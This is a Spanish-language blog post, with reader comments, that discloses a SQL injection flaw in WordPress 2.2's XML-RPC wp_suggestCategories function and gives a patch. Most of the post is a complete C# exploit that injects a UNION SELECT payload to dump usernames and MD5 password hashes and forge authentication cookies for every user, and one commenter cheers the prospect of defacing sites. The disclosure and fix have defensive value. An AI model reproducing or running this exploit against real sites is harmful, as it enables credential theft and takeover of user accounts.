SQL Injection en Wordpress 2.2 + exploit incluido
Por: alex | 28 Mayo 2007 | Ver comentarios |
Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.
El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:
function wp_suggestCategories($args) {
global $wpdb;
$this->escape($args);
$blog_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$category = $args[3];
$max_results = $args[4];
if(!$this->login_pass_ok($username, $password)) {
return($this->error);
}
// Only set a limit if one was provided.
$limit = "";
if(!empty($max_results)) {
$limit = "LIMIT {$max_results}";
}
$category_suggestions = $wpdb->get_results("
SELECT cat_ID category_id,
cat_name category_name
FROM {$wpdb->categories}
WHERE cat_name LIKE '{$category}%'
{$limit}
");
return($category_suggestions);
}Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.
Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.
using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
class Program
{
static void Main(string[] args)
{
string targetUrl = "http://localhost/wp/";
string login = "alex";
string password = "1234";
string data = @"<methodCall>
<methodName>wp.suggestCategories</methodName>
<params>
<param><value>1</value></param>
<param><value>{0}</value></param>
<param><value>{1}</value></param>
<param><value>1</value></param>
<param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
</params>
</methodCall>";
string cookieHash = GetCookieHash(targetUrl);
using (WebClient request = new WebClient())
{
/* Probar con el prefijo por omisión */
string response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, "wp_svn_"));
/* Se hace una nueva petición si la consulta anterior falla */
Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
if (match.Success)
{
response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, match.Groups[1].Value));
}
try
{
XmlDocument doc = new XmlDocument();
doc.LoadXml(response);
XmlNodeList nodes = doc.SelectNodes("//struct/member/value");
if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
{
string user, pass;
/* Mostrar lista de:
* Usuario md5(contraseña)
* Cookie de Autenticación
*
*/
for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
{
user = nodes.Item(i).InnerText;
pass = nodes.Item(i + 1).InnerText;
Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
user,
pass);
Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
cookieHash,
user,
MD5(pass));
}
}
else
{
Console.WriteLine("Error:\n{0}", response);
}
}
catch (Exception ex)
{
Console.WriteLine("Error:\n" + ex.ToString());
}
}
}
private static string GetCookieHash(string targetUrl)
{
WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
request.Method = "HEAD";
(request as HttpWebRequest).AllowAutoRedirect = false;
WebResponse response = request.GetResponse();
if (response != null)
{
Match match = Regex.Match(response.Headers["Set-Cookie"],
@"wordpress[a-z]+_([a-z\d]{32})",
RegexOptions.IgnoreCase);
if (match.Success)
return match.Groups[1].Value;
}
return string.Empty;
}
public static string MD5(string password)
{
MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
byte[] bs = Encoding.UTF8.GetBytes(password);
bs = x.ComputeHash(bs);
StringBuilder s = new StringBuilder();
foreach (byte b in bs)
{
s.Append(b.ToString("x2").ToLower());
}
return s.ToString();
}
}Para corregir este problema, mientras liberan actualizaciones para Wordpress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php.
Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)


g30rg3_x
28 de Mayo de 2007, 02:15:53 am
jejejeje si acabo de recien leer en el trac el parche y de claro ya ponerlo en mi blog…
Saludos
RoQ
28 de Mayo de 2007, 04:42:50 pm
Y Mullenweg cuando te contrata???
Alex
28 de Mayo de 2007, 05:54:37 pm
Pana, mis respetos
Excelente el exploit y también haber descubierto un bug que seguramente no lo hubiesen encontrado sino dentro de mucho tiempo
alex
28 de Mayo de 2007, 06:32:53 pm
@Roq: jeje, dudo mucho que llegue a contratar a alguien como yo
@Alex: Gracias por el comentario.
fuxion
4 de Junio de 2007, 04:55:14 pm
Como compilo tu exploit?
alex
4 de Junio de 2007, 05:27:12 pm
Puedes usar Visual Studio 2005, Visual C# Express o el compilador de línea de comandos (no probé si compila con mono), en todos los casos necesitas tener instalado el .NET Framework 2.0
Saludos
WaLhEZ
5 de Junio de 2007, 02:45:02 pm
Esto si que es serio, asi que esas paginas que piden que nos sucribamos seran defaceadas, bien excelente descubrimiento, gracias por el dato.
Maltray
14 de Junio de 2007, 01:52:05 pm
WTF!!!!!!
Nos invaden los Elites!!!
http://milw0rm.com/exploits/4039
Jonathan
8 de Agosto de 2007, 07:46:37 pm
Oigan, estoy empezando con esto, jajajaja nunca creí diria eso, pero bueno, estoy haciendo pruebas en un servidor propio, mi peguta es como puedo copilar el exploit aqui expuesto, osease donde copio y pego y ejecuto este exploit, les agradesco a todos.